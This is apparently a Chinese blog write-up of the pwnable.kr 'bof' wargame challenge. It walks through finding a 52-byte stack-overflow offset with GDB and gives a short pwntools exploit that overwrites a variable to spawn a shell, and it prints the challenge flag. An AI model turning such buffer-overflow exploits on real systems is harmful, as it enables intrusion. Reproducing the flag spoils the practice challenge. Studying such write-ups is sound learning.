pwnable.kr第三题:bof

pwnable.kr

下载

先将bofbof.c下载下来,先检查下 bof开启的保护

是真的吓到,基本能开的都开了,但是转念一想,入门级别没有那么恶心人吧,然后看看源代码

发现,只是要将传入的0xdeadbeef通过栈溢出换成0xcafebabe,而且在程序里面已经有调用system("/bin/sh")的语句,只要替换成功就能调用,那这些保护基本也没什么意义嘛。

gdb调试

继续单步,输入AAAAAAAA,之后x/30x $esp查看栈空间

AASCLL值为41,可以看出,我们要覆盖的地址与输入地址相差52个字节.

Exp

from pwn import *

r = remote('pwnable.kr','9000')

buf = 52 * 'A'
buf += p32(0xcafebabe)

r.sendline(buf)

r.interactive()

运行下

flag =daddy, I just pwned a buFFer :)

推荐阅读更多精彩内容

  • 0x01 fd 文件描述符 0、1、2分别代表标准输入、标准输出和标准错误,所以输入0x1234的十进制值,再次...
    Nevv阅读 4,944评论 0 6
  • pwnable.kr bof 同样的,既然有源代码。我们就配合着源代码来做题,这样可能更利于搞懂高级语言被反汇编之...
    CodeRambler阅读 158评论 0 0
  • 目录 1.解释self = [super init]方法 容错处理,当父类初始化失败,会返回一个nil,表示初始化...
    勇敢的_心_阅读 362评论 0 4
  • 1、文件和目录: # cd /home 进入 '/home' 目录 # cd .. ...
    XDgbh阅读 532评论 0 1
  • 今天一天会议,自己下午有点打瞌睡,早上5:30起来看书,中午没有时间休息,会场激情舞蹈带动,有点耗费精力,有...
    清若晨曦一束光阅读 112评论 2 3